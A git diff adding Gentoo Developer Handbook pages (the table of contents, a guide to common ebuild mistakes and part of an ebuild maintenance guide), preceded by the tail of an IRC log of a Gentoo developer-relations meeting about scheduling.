+Jul 23 20:24:30 <tberman>	klieber: the issue for me is less graphics and more general interface
+Jul 23 20:24:41 <avenj>	seemant: no objections
+Jul 23 20:24:51 <seemant>	Brandy: as you say, so it will be
+Jul 23 20:24:59 <Brandy>	excellent :)
+Jul 23 20:25:05 <seemant>	thanks everyone
+Jul 23 20:25:12 <seemant>	sorry to have let it run over as it did
+Jul 23 20:25:15 <Brandy>	before we go
+Jul 23 20:25:27 <Brandy>	can we set up a set time for meetings?
+Jul 23 20:25:44 <seemant>	may as well, since we're all here
+Jul 23 20:26:06 <seemant>	the more restrictive people seem to be: coredumb & Brandy, possibly g2boojum and klieber
+Jul 23 20:26:21 <klieber>	this time works well for me.
+Jul 23 20:26:23 <coredumb>	i'm not restrictive, just tired.. :)
+Jul 23 20:26:38 <seemant>	coredumb: well, I'd like to be able to accommodate something more convenient for you
+Jul 23 20:26:46 <Brandy>	coredumb: what's the local time?
+Jul 23 20:26:53 <coredumb>	03:27
+Jul 23 20:27:04 <Brandy>	coredumb: ouch
+Jul 23 20:27:27 <spyderous>	how about 2100 utc tuesdays?
+Jul 23 20:27:48 <klieber>	can't do that, personally
+Jul 23 20:27:54 <klieber>	but I'm not sure how much time I'm going to have.
+Jul 23 20:28:01 <klieber>	so if that works for everyone else, please go ahead with it.
+Jul 23 20:28:02 <tberman>	god with this utc stuff, i cant figure it out
+Jul 23 20:28:08 <coredumb>	hmm
+Jul 23 20:28:18 <g2boojum>	tberman: date -u
+Jul 23 20:28:19 <tberman>	5pm tuesdays eastern?
+Jul 23 20:28:31 <tberman>	g2boojum: yes, i know that, but then i have to still do the basic math ;p
+Jul 23 20:28:44 <coredumb>	midnight here
+Jul 23 20:28:48 <spyderous>	klieber: when can you?
+Jul 23 20:28:59 <coredumb>	any chance to have that on monday?
+Jul 23 20:29:16 <seemant>	coredumb: manager's meeting is 1800 UTC on monday
+Jul 23 20:29:25 <spyderous>	how about 2000 utc monday 
+Jul 23 20:29:26 <klieber>	spyderous: really, about all I can do is in the 0200 - 0400 UTC timeframe  in weekly meetings.
+Jul 23 20:29:27 <seemant>	coredumb: we can do it before or after I suppose
+Jul 23 20:29:33 *	Stuart waves goodnight
+Jul 23 20:29:35 <spyderous>	oh, bummer klieber
+Jul 23 20:29:37 <--	Stuart (~stuart@myrddraal.demon.co.uk) has left #gentoo-devrel
+Jul 23 20:29:47 <klieber>	like I said -- you shouldn't schedule around me.
+Jul 23 20:30:02 <coredumb>	hm, is friday night (here) ok?
+Jul 23 20:30:04 <seemant>	klieber: eh? 02 - 04?
+Jul 23 20:30:11 <seemant>	klieber: aren't you in bed by then
+Jul 23 20:30:11 <seemant>	?
+Jul 23 20:30:15 <tberman>	seemant: UTC
+Jul 23 20:30:18 <klieber>	UTC? no
+Jul 23 20:30:21 <coredumb>	23UTC friday???
+Jul 23 20:30:27 <coredumb>	er
+Jul 23 20:30:27 <spyderous>	that's...10p-12a eastern?
+Jul 23 20:30:29 <klieber>	that's 8pm - 10pm my time
+Jul 23 20:30:30 <coredumb>	tooooooooo many ? :)
+Jul 23 20:30:53 <seemant>	klieber: oh I thought it was 10-midnight your time
+Jul 23 20:31:06 <klieber>	oops -- I was wrong.
+Jul 23 20:31:11 <g2boojum>	coredumb: My wife rather likes spending Friday nights w/ her husband.
+Jul 23 20:31:18 <klieber>	so I can do most things 2300 - 0100 UTC
+Jul 23 20:31:21 *	klieber hugs date -u
+Jul 23 20:31:28 <seemant>	g2boojum: cool, then when she's gone you can meet with us :P
+Jul 23 20:31:36 <tberman>	hah
+Jul 23 20:31:40 <spyderous>	could work wednesday
+Jul 23 20:31:40 <spyderous>	but way too late for coredumb, maybe Brandy too
+Jul 23 20:31:40 <coredumb>	hm
+Jul 23 20:31:43 <coredumb>	thursdays?
+Jul 23 20:31:56 <seemant>	Brandy: what's your free times?
+Jul 23 20:32:00 <seemant>	coredumb: what are yours?
+Jul 23 20:32:02 <Brandy>	spyderous: what time is too late for me?
+Jul 23 20:32:09 <spyderous>	Brandy: i have no idea.
+Jul 23 20:32:19 <seemant>	does 2300-0100 UTC on any weekday suit anyone?
+Jul 23 20:32:19 <coredumb>	seemant: depends if i work or not :)
+Jul 23 20:32:28 <Brandy>	I'm ok 2300-0100 UTC Sundays and Wednesdays
+Jul 23 20:32:36 <g2boojum>	seemant: works for me.
+Jul 23 20:32:46 <coredumb>	but i never work fridays, saturdays and usually not tuesdays
+Jul 23 20:33:05 <spyderous>	that's bad monday, and open at 2400 wednesday
+Jul 23 20:33:06 <coredumb>	seemant: too late usually
+Jul 23 20:33:52 <seemant>	klieber: lunchish hour for you on another day?
+Jul 23 20:34:27 <seemant>	Brandy: can you go earlier on any particular day?
+Jul 23 20:34:36 <klieber>	seemant: I can't do any more daily meetings -- one a week is about all I can work into my schedule.
+Jul 23 20:34:45 <klieber>	"daily" meaning during the workday for me
+Jul 23 20:34:49 <seemant>	klieber: understood
+Jul 23 20:35:00 <Brandy>	seemant: I could do 2100 - 2300 UTC any weekday
+Jul 23 20:35:09 <tberman>	why dont you guys try a during the weekend meeting
+Jul 23 20:35:28 <coredumb>	tberman: i'm trying.. :)
+Jul 23 20:35:30 <spyderous>	weekends are bad except sunday from about..2300 on
+Jul 23 20:35:30 <tberman>	like a early afternoon sunday, would be late sunday for coredumb, and early sunday for brandy (i think)
+Jul 23 20:35:43 <seemant>	early monday for her
+Jul 23 20:35:51 <klieber>	sunday is wife day for me.
+Jul 23 20:35:54 <tberman>	oh
+Jul 23 20:35:57 <klieber>	sunday evenings are generally OK.
+Jul 23 20:36:05 <tberman>	see, im so eastern time zone centric, i forgot about the IDL
+Jul 23 20:36:33 <seemant>	honestly seems like wedesday 2300 UTC is the most convenient :/
+Jul 23 20:36:36 <coredumb>	hrhr, here we work on sundays..
+Jul 23 20:38:15 <seemant>	we can try to do a lot more discussion on the mail alias though
+Jul 23 20:38:32 <coredumb>	hm, yea
diff --git a/xml/htdocs/proj/en/devrel/handbook/handbook.xml b/xml/htdocs/proj/en/devrel/handbook/handbook.xml
new file mode 100644
index 00000000..1cbcba74
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/handbook/handbook.xml
@@ -0,0 +1,298 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/devrel/handbook/handbook.xml,v 1.11 2008/10/01 17:08:39 rane Exp $ -->
+
+<book link="/proj/en/devrel/handbook/handbook.xml">
+  <title>Gentoo Developer Handbook</title>
+  
+<!-- Author names only -->
+<!-- Thanks for edits but please only add your name if you added content -->
+<!-- Do not list what you worked on as it's all subject to future changes -->
+
+  <author title="Author">
+      <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+  </author>
+
+  <author title="Author">
+      <mail link="seemant@gentoo.org">Seemant Kulleen</mail>
+  </author>
+
+  <author title="Author">
+      <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+  </author>
+
+  <author title="Author">
+      <mail link="karltk@gentoo.org">Karl Trygve Kalleberg</mail>
+  </author>
+
+  <author title="Author">
+      <mail link="vapier@gentoo.org">Mike Frysinger</mail>
+  </author>
+
+  <author title="Author">
+      <mail link="liquidx@gentoo.org">Alastair Tse</mail>
+  </author>
+
+  <author title="Author">
+      <mail link="pauldv@gentoo.org">Paul De Vrieze</mail>
+  </author>
+
+  <author title ="Author">
+      <mail link="blackace@gentoo.org">Nicholas D. Wolfwood</mail>
+  </author>
+
+  <author title ="Author">
+      <mail link="genone@gentoo.org">Marius Mauch</mail>
+  </author>
+
+  <author title ="Author">
+      <mail link="dragonheart@gentoo.org">Daniel Black</mail>
+  </author>
+
+  <author title ="Author">
+      <mail link="amne@gentoo.org">Wernfried Haas</mail>
+  </author>
+
+  <author title ="Author">
+      <mail link="musikc@gentoo.org">Chrissy Fullam</mail>
+  </author>
+
+  <author title ="Author">
+    <mail link="rane@gentoo.org">Łukasz Damentko</mail>
+  </author>
+
+  <author title="Author">
+      <mail link="drobbins@gentoo.org">Daniel Robbins (Retired) </mail>
+  </author>
+
+  <author title="Author">
+      John P. Davis (Retired)
+  </author>
+
+  <author title="Author">
+      Tim Yamin (Retired)
+  </author>
+
+  <author title="Author">
+      Jorge Paulo (Retired)
+  </author>
+
+  <author title="Author">
+      Zack Gilburd (Retired)
+  </author>
+
+  <author title="Author">
+      Benny Chuang (Retired)
+  </author>
+
+  <author title="Author">
+      Erwin (Retired)
+  </author>
+
+  <author title="Author">
+      Jon Portnoy (Retired)
+  </author>
+
+  <author title="Author">
+      Carl Anderson (Retired)
+  </author>
+
+  <author title="Author">
+      Donny Davies (Retired)
+  </author>
+
+  <author title="Author">
+      Peter Gavin (Retired)
+  </author>
+
+  <author title ="Author">
+      Dan Armak (Retired)
+  </author>
+
+  <author title="Author">
+      Owen Stampflee
+  </author>
+
+  <author title ="Author">
+      Ciaran McCreesh (Retired)
+  </author>
+
+ <abstract>
+    This is the Gentoo Developer Handbook, a continuing effort to
+    centralize development policies across Gentoo and to also outline
+    Gentoo's development systems and procedures.
+  </abstract>
+
+  <!-- The content of this document is licensed under the CC-BY-SA license -->
+  <!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+  <license/>
+
+  <version>2</version>
+  <date>2008-10-01</date>
+
+  <part>
+    <title>Introduction</title>
+    <abstract>
+      This part covers aspects which apply to most areas of Gentoo
+      development. This section is only really relevant if you
+      are a Gentoo developer; otherwise you should skip this.
+    </abstract>
+
+    <chapter>
+      <title>Introduction</title>
+      <abstract>
+	This section outlines the purpose of the Gentoo Developer
+	Handbook.
+      </abstract>
+      <include href="hb-introduction.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Becoming a developer</title>
+      <abstract>
+        This section aims to explain how one can become a Gentoo
+        developer.
+      </abstract>
+      <include href="hb-introduction-becoming-a-dev.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>What you get</title>
+      <abstract>
+	This section outlines what services are available to Gentoo
+	developers.
+      </abstract>
+      <include href="hb-introduction-whatyouget.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Help for new developers</title>
+      <abstract>
+	This section provides help and instructions for new developers.
+      </abstract>
+      <include href="hb-introduction-new-devs.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Developer hierarchy</title>
+      <abstract>
+	This section outlines the hierarchy of Gentoo Developers and
+	development.
+      </abstract>
+      <include href="hb-introduction-hierarchy.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Staff member policy</title>
+      <abstract>
+	This section outlines recruitment and retirement policies for Gentoo
+	staff members.
+      </abstract>
+      <include href="hb-introduction-staffers.xml"/>
+    </chapter>
+  </part>
+
+  <part>
+    <title>Guides</title>
+    <abstract>
+      This section outlines and explains various development
+      processes and provides standards for Gentoo developers.
+    </abstract>
+
+    <chapter>
+      <title>Ebuild HOWTO</title>
+      <abstract>
+	This section describes the Gentoo Linux Portage system, how
+	to create new packages for Gentoo, and is also meant to be somewhat of
+	a standard for the Gentoo Developers.  It is a work in progress, and
+	is constantly being updated and changed.  It is by no means complete.
+	You should always use this in conjunction with the manpages provided
+	by portage (especially ebuild(5)) and the Gentoo Linux Development
+	Policy.
+      </abstract>
+      <include href="hb-guide-ebuild.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Eclass HOWTO</title>
+      <abstract>
+	This section aims to provide developers with a guide detailing
+	how eclasses work and how they can be applied to ebuilds.
+      </abstract>
+      <include href="hb-guide-eclass.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Common ebuild Mistakes</title>
+      <abstract>
+	This section explains the frequent ebuild writing and
+	submission mistakes made by contributors and developers.
+      </abstract>
+      <include href="hb-guide-common-mistakes.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Gentoo Metadata</title>
+      <abstract>
+	This section explains the use and need of metadata.xml
+	that is used within the Portage tree.
+      </abstract>
+      <include href="hb-guide-metadata.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Ebuild Maintenance HOWTO</title>
+      <abstract>
+	This section describes how developers would perform common tasks
+	when maintaining ebuilds in the Portage tree.
+      </abstract>
+      <include href="hb-guide-ebuild-maintaining.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Manifest Signing Guide</title>
+      <abstract>
+        This section describes how developers can sign Manifests in the
+        Portage tree using GPG.
+      </abstract>
+      <include href="hb-guide-manifest-signing.xml"/>
+    </chapter>
+  </part>
+
+  <part>
+    <title>Policies</title>
+    <abstract>
+      This part covers the different policies which we expect
+      developers to abide when committing items to CVS.
+    </abstract>
+
+    <chapter>
+      <title>Ebuild policy</title>
+      <abstract>
+	This section outlines the ebuild policy which every ebuild in
+	Portage must follow.
+      </abstract>
+      <include href="hb-policy-ebuild.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Etiquette policy</title>
+      <abstract>
+	This section outlines the etiquette policy for Gentoo
+	developers.
+      </abstract>
+      <include href="hb-policy-etiquette.xml"/>
+    </chapter>
+  </part>
+
+<!--
+  <part>
+    <title>Appendix 1: Management</title>
+    <abstract>
+      This part covers managerial policies.
+    </abstract>
+  </part>
+-->
+
+</book>
diff --git a/xml/htdocs/proj/en/devrel/handbook/hb-guide-common-mistakes.xml b/xml/htdocs/proj/en/devrel/handbook/hb-guide-common-mistakes.xml
new file mode 100644
index 00000000..d1a94616
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/handbook/hb-guide-common-mistakes.xml
@@ -0,0 +1,412 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- This document was last synced to:
+     cvs://gentoo/gentoo/xml/htdocs/doc/en/ebuild-mistakes.xml :: R1.4.
+-->
+
+<sections>
+<version>1.0.2</version>
+<date>2006-09-05</date>
+
+<section>
+<title>Common Ebuild Writing Mistakes</title>
+<subsection>
+<title>Introduction</title>
+<body>
+
+<p>
+Here is a list of common ebuild mistakes that are common in
+user-submitted ebuilds. Please make sure the ebuilds you submit don't
+violate any of these. Before submitting any ebuilds, make sure you
+read the <uri link="?part=3&amp;chap=1">Gentoo ebuild Development
+Policy</uri> and the <uri link="?part=2&amp;chap=1">Gentoo
+ebuild HOWTO</uri>. Also, make sure you read a couple (eg. more than
+one or two) of the ebuilds in the tree to make sure you know the style
+that ebuilds are written in.
+</p>
+
+<p>
+Also it would be useful to read a couple of ebuilds that use eclasses and
+understand how to use them by reading the <uri
+link="?part=2&amp;chap=2">Eclass HOWTO</uri>. Finally, you must read the
+<uri link="/doc/en/ebuild-submit.xml">Contributing Ebuilds Guide</uri> carefully
+before submitting your ebuild(s).
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Missing/Invalid/Broken Header</title>
+<body>
+
+<p>
+When you submit your ebuilds, the header should be <e>exactly</e> the same as
+the one in <path>/usr/portage/skel.ebuild</path>. Most importantly, do not
+modify it in any way and make sure that the <c>&#36;Header: &#36;</c> line is 
+intact.
+</p>
+
+<p>
+The first three lines <e>must</e> look like this:
+</p>
+
+<pre caption="Valid Header">
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# &#36;Header: &#36;
+</pre>
+
+<p>
+Only if you are submitting a patched or version bumped ebuild, should you not
+need to modify the <c>&#36;Header: &#36;</c> line. But the line must be present.
+When we check the ebuild into CVS, it will modify that header with the 
+appropriate version and date information. So there is no need for you to 
+manually modify it.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>IUSE Missing</title>
+<body>
+
+<p>
+By far the most common omission is the IUSE variable. You must (according to the
+<uri link="?part=2&amp;chap=1">Gentoo ebuild HOWTO</uri>) include the IUSE
+variable even if there are no USE flags in use. If there are no USE flags
+supported, then just add the following:
+</p>
+
+<pre caption="Empty IUSE">
+IUSE=""
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Redefined P, PV, PN, PF</title>
+<body>
+
+<p>
+You should never redefine those variables. Always use MY_P, MY_PN, MY_PV,
+P0, etc. See other ebuilds that do it in portage for more information. Most
+ebuilds use bash "Parameter Expansion". Please read the man page for bash to
+understand how "Parameter Expansion" works.
+</p>
+
+<p>
+By the way, if you find a package that re-defines it, don't copy it. Submit a
+bug about that ebuild.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Including version numbers in SRC_URI and S</title>
+<body>
+
+<p>
+You should try not to include version numbers in the SRC_URI and S. Always try
+to use ${PV} or ${P}. It makes maintaining the ebuild much easier. If a version
+number is not consistent with the tarball/source, then use MY_P. An example
+dev-python/pyopenal fetches a tarball called PyOpenAL, so we redefine it like:
+</p>
+
+<pre caption="Example versioning redefinition">
+MY_P=${P/pyopenal/PyOpenAL}
+SRC_URI="http://oomadness.tuxfamily.org/downloads/${MY_P}.tar.gz"
+S=${WORKDIR}/${MY_P}
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>DEPEND has syntactical errors</title>
+<body>
+
+<p>
+There are many things that go wrong with user submitted DEPEND and RDEPEND
+fields. Here are some important points to follow when you write the dependency
+part.
+</p>
+
+<ul>
+  <li>
+    <e>Always include the CATEGORY.</e><br />
+    For example, use <c>&gt;=x11-libs/gtk+-2</c> and not <c>&gt;=gtk+-2</c>.
+  </li>
+  <li>
+    <e>Do not put an asterisk (*) for &gt;= dependencies.</e><br />
+    For example, it should be <c>&gt;=x11-libs/gtk+-2</c> rather than
+    <c>&gt;=x11-libs/gtk+-2*</c>.
+  </li>
+  <li><e>GTK specific. Always use =x11-libs/gtk+-1.2* for GTK+1 apps.</e></li>
+  <li>
+    <e>Never depend on a meta package.</e><br />
+    So don't depend on gnome-base/gnome, always depend on the specific
+    libraries like libgnome.
+  </li>
+  <li>
+    <e>One dependency per line.</e><br />
+    Don't put multiple dependency on the same line. It makes it ugly to read 
+    and hard to follow.
+  </li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>DEPEND is incomplete</title>
+<body>
+
+<p>
+This is another very common error. The ebuild submitter submits an ebuild
+that "just works" without checking if the dependencies are correct. Here are
+some tips on how to find the correct dependencies.
+</p>
+
+<ul>
+  <li>
+    <e>Look in configure.in or configure.ac</e><br />
+    Look for checks for packages in here. Things to look out for are pkg-config
+    checks or AM_* functions that check for a specific version.
+  </li>
+  <li>
+    <e>Look at included .spec files</e><br />
+    A good indication of dependencies is to look at the included .spec files
+    for relevant deps. However, do not trust them to be the definitive complete
+    list of dependencies
+  </li>
+  <li>
+    <e>Look at the application/library website</e><br />
+    Check the application website for possible dependencies that they suggest
+    are needed.
+  </li>
+  <li>
+    <e>Read the README and INSTALL for the package</e><br />
+    They usually also contain useful information about building and installing
+    packages.
+  </li>
+  <li>
+    <e>Remember non-binary dependencies such as pkg-config, doc generation
+    programs, etc.</e><br />
+    Usually the build process requires some dependencies such as intltool,
+    libtool, pkg-config, doxygen, scrollkeeper, gtk-doc, etc. Make sure those
+    are clearly stated.
+  </li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>LICENSE Invalid</title>
+<body>
+
+<p>
+Another common mistake users make when submitting ebuilds is supplying an
+invalid license. For example, <c>GPL</c> is not a valid license. You need to 
+specify <c>GPL-1</c> or <c>GPL-2</c>. Same with <c>LGPL</c>. Make sure the 
+license you use in the <c>LICENSE</c> field is something that exists in 
+<path>/usr/portage/licenses</path>. As a tip, check the <path>COPYING</path> 
+in a source tarball for the license. If a package does not specify it
+uses <c>GPL-1</c> or <c>GPL-2</c>, it is very likely it uses <c>GPL-2</c>.
+</p>
+
+<p>
+If the license for the package you submit is unique and not in
+<path>/usr/portage/licenses/</path>, then you must submit the new license in a 
+separate file.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Untested ARCHs in KEYWORDS</title>
+<body>
+
+<p>
+Please do not add other ARCHs into KEYWORDS unless the ebuild has been tested on
+that ARCH. Also all new ebuilds should be ~x86 or whatever architecture it is.
+Make sure when you bump a version, the stable KEYWORDS are all marked as
+<c>~</c>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>SLOT missing</title>
+<body>
+
+<p>
+Make sure you have the SLOT variable in the ebuild. If you don't plan to use it,
+don't remove it. Put in:
+</p>
+
+<pre caption="Default SLOT variable">
+SLOT="0"
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>DESCRIPTION and HOMEPAGE wrong</title>
+<body>
+
+<p>
+Please check the if the HOMEPAGE variable is right and leads users to the right
+page if they want to find out more about the package. And make sure the
+DESCRIPTION is not overly long. Good descriptions will describe the main
+function of the package in a sentence.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Wrongfully used spaces instead of TABS</title>
+<body>
+
+<p>
+It is no fun reformatting lines of ebuilds because the submitter did not follow
+the guidelines to use TABS rather than spaces. So <e>please</e> use tabs!
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Trailing whitespace</title>
+<body>
+
+<p>
+I'm often guilty of this. Remember to run repoman over your ebuilds so it can
+tell you if there is trailing whitespace at the end of lines or on empty lines.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Adding redundant S=${WORKDIR}/${P}</title>
+<body>
+
+<p>
+If <c>S=${WORKDIR}/${P}</c>, then you should not add it to your ebuild. This is 
+implied already, you should only add it if it is something other than 
+<c>${WORKDIR}/${P}</c>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Documentation missing</title>
+<body>
+
+<p>
+If your package has documentation, make sure you install it using <c>dodoc</c> 
+or in <path>/usr/share/doc/${PF}</path>. Remember to check for errors when 
+running <c>dodoc</c>/<c>doins</c>.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Common Ebuild Submission Mistakes</title>
+<subsection>
+<title>Introduction</title>
+<body>
+
+<p>
+Please submit ebuilds properly by following the <uri
+link="/doc/en/ebuild-submit.xml">Contributing Ebuild HOWTO</uri> on the <uri
+link="/doc/en/index.xml">Gentoo Docs Page</uri>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Tarball'ing an ebuild</title>
+<body>
+
+<p>
+Please please please do not attach ebuilds as tarballs. Attach patches
+separately as well so we can easily examine them.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Inlining Ebuilds</title>
+<body>
+
+<p>
+Don't cut and paste an ebuild into bugzilla's comment field.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>No description on what the package is</title>
+<body>
+
+<p>
+Please let us know what the package is, and fill in the URL with the home page
+of the application, if any exists.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Package updates without changing the ChangeLog</title>
+<body>
+
+<p>
+If you submit a package update, then make sure you explain what changes you made
+to the ebuild. For example if a package introduces a new features/option and you
+use a USE flag, list it in your bug. Don't make us hunt for it.
+</p>
+
+<p>
+It is wise to submit a diff for a package update rather than the whole ebuild.
+The best way to generate it would be:
+</p>
+
+<pre caption="Creating a diff">
+$ <i>diff -u some-package-0.1.0.ebuild some-package-0.2.0.ebuild &gt; ~/some-package-0.2.0.diff</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Submitting unchanged ebuilds for version bumps</title>
+<body>
+
+<p>
+If you are submitting a new version for a package in portage, make sure the
+existing ebuild works and make sure changes are incorporated in the new ebuild
+(such as added documentation.) If there are no required changes to the ebuild
+from the previous version, then don't attach the ebuild. Just say so in the bug
+report that you copied the ebuild over and verified that the package works and
+installs properly.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Comments and Suggestions</title>
+<subsection>
+<body>
+
+<p>
+Comments, corrections and suggestions should go to <mail 
+link="liquidx@gentoo.org">Alastair Tse</mail>.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/en/devrel/handbook/hb-guide-ebuild-maintaining.xml b/xml/htdocs/proj/en/devrel/handbook/hb-guide-ebuild-maintaining.xml
new file mode 100644
index 00000000..e363d185
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/handbook/hb-guide-ebuild-maintaining.xml
@@ -0,0 +1,314 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/devrel/handbook/hb-guide-ebuild-maintaining.xml,v 1.18 2010/04/10 13:31:29 betelgeuse Exp $ -->
+
+<sections>
+<version>1.0.5</version>
+<date>2008-06-01</date>
+
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+This guide aims to explain common everyday ebuild maintenance
+routines, as well as other rarer maintenance routines which
+developers may not be familiar with.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Adding a new ebuild</title>
+<body>
+
+<p>
+When adding a new ebuild, you should only include <c>KEYWORDS</c> for
+architectures on which you have actually tested the ebuild, confirming
+that it works as it should and that <c>USE</c> flags are properly
+honoured in the resulting package which would be installed. If
+possible, you should give the actual library or application thorough
+testing as well, since you would be responsible for any breakages for
+your architecture(s). Minimal testing such as checking that the
+application starts up without any errors should always be performed.
+</p>
+
+<p>
+If you are adding a user-submitted ebuild, do not assume that the
+submitter has done testing on various architectures: often, <c>KEYWORDS</c>
+are cloned across packages or generated from documentation in the
+source packages, which does not signify that the package does indeed
+work on those architectures.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Stabilizing ebuilds</title>
+<body>
+
+<p>
+Only architecture maintainers for a given architecture should mark packages as 
+stable on that architecture. The maintainer of the package should always be 
+contacted just in case there are reasons not to do so. The exception to this 
+is if you are part of an architecture team, in which case you may mark the 
+package stable for that architecture. If you are not part of an architecture 
+team, you should consult the guidelines below; if the architecture you are 
+looking for is not listed then please consult the relevant lead.
+</p>
+
+<p>
+You should <e>never</e> stabilize packages on
+architectures for which you cannot test and instead you should file a bug to
+the relevant architecture team, such as <mail link="sparc@gentoo.org">
+sparc@gentoo.org</mail> asking them to stabilize the
+ebuild. Alternatively, you may be able to find Gentoo developers on
+IRC who could help you with your request.
+</p>
+
+<p>
+It is best to not use <mail link="arch-maintainers@gentoo.org">
+arch-maintainers@gentoo.org</mail>, adding architecture teams onto a
+bug's CC list individually instead. That way teams can remove
+themselves from the list when they are done, giving a clear indication
+of which teams still have to stabilize a package.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Stabilization rules</title>
+<body>
+
+<p>
+SPARC: You must have prior permission from the arch lead (currently Weeve).
+Usually we expect you to be on the sparc alias for QA reasons, although
+other arrangements can be made if you will only be working with a small
+group of packages.
+</p>
+
+<p>
+ALPHA: Maintainers may keyword their own packages but are reminded to inform
+the Alpha team if they can help out with testing and keywording packages so
+the team can keep an eye out for possible keywording mistakes.
+</p>
+
+<p>
+MIPS: You must have prior permission from any senior MIPS developer. Because
+of the massive range of hardware involved, being on the mips alias and
+having access to a variety of MIPS systems are generally requirements.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Upgrading ebuilds</title>
+<body>
+
+<p>
+New ebuilds should rarely go in with "<c>arch</c>" keywords and even if they do
+not, the package <e>must</e> be tested on any architectures listed in the
+<c>KEYWORDS</c> variable of the new ebuild.
+</p>
+
+<p>
+Exceptions to the no "<c>arch</c>" rule are major bug fixes, or
+security fixes. If the previous version of the ebuild
+contains <c>KEYWORDS</c> which you cannot test for, you should
+downgrade them: turn any "<c>arch</c>" keyword to "<c>~arch</c>". If you
+think that your package may not work at all even on "<c>~arch</c>"
+then it is best to leave the keyword out and request testing from the
+relevant team: if you are to do this, you must file a bug to the team
+in question.
+</p>
+
+<p>
+If a new version introduces new dependencies which are not available
+on some architectures, then you should file a bug or ask on IRC before
+you upgrade the package. If you really need to get the ebuild added in
+a hurry, for example, for a security fix, then you should drop
+any <c>KEYWORDS</c> which are causing problems and CC the relevant
+architectures on the bug - you should file a new bug to the
+architecture in question regarding this if no bug is already
+available.
+</p>
+
+<p>
+If there are no new dependencies, do not remove keywords if your
+commit fails with repoman - please try a full <c>cvs update</c> and if
+you still have problems, then commit with <c>repoman -I</c> and file a
+bug to the broken architecture, noting it in your CVS commit message.
+</p>
+
+<warn>
+When committing, make sure that you reference any bugs in the
+ChangeLog as well as the CVS message. Failing to do so is considered
+to be in very poor taste and may result in disciplinary action.
+</warn>
+
+</body>
+</section>
+
+<section>
+<title>Moving ebuilds</title>
+<body>
+
+<p>
+Moving ebuilds is a two-step process:
+</p>
+
+<p>
+Firstly, you need to move the ebuild in CVS. To do this, you should
+copy the ebuild to its new location and commit that as you would with
+a <uri link="?part=2&amp;chap=5#doc_chap2">new ebuild</uri>.
+</p>
+
+<p>
+After this, you should change any ebuilds which <c>DEPEND</c> on the
+old ebuild to depend on the new one. After this, should add an entry to the
+latest file in <path>profiles/updates/</path> in the Portage tree in the in
+the following format:
+</p>
+
+<pre caption="Adding an entry to updates">
+move net-misc/fwbuilder net-firewall/fwbuilder
+</pre>
+
+<p>
+This example would transparently move <path>net-misc/fwbuilder</path> to
+<path>net-firewall/fwbuilder</path> if users have it installed. This
+way, users would now automatically receive updates
+for <path>net-firewall/fwbuilder</path> when they are available.
+</p>
+
+<p>
+Once this step is concluded, you are allowed to remove the old package.
+Simply issue a <c>cvs remove -Rf $PN</c> in the package category and commit
+the changes afterwards with a meaningful commit message.
+</p>
+
+<pre caption="Removing a package">
+net-misc # cvs rm -Rf fwbuilder
+cvs remove: use `cvs commit' to remove these files permanently
+net-misc # cvs ci -m "Moving net-misc/fwbuilder to net-firewall/fwbuilder."
+</pre>
+
+<note>
+CVS cannot destroy directories: it will simply not re-create them if
+they are blank, providing you use CVS with the <c>-P</c> flag.
+</note>
+
+</body>
+</section>
+
+<section>
+<title>Removing ebuilds</title>
+<body>
+
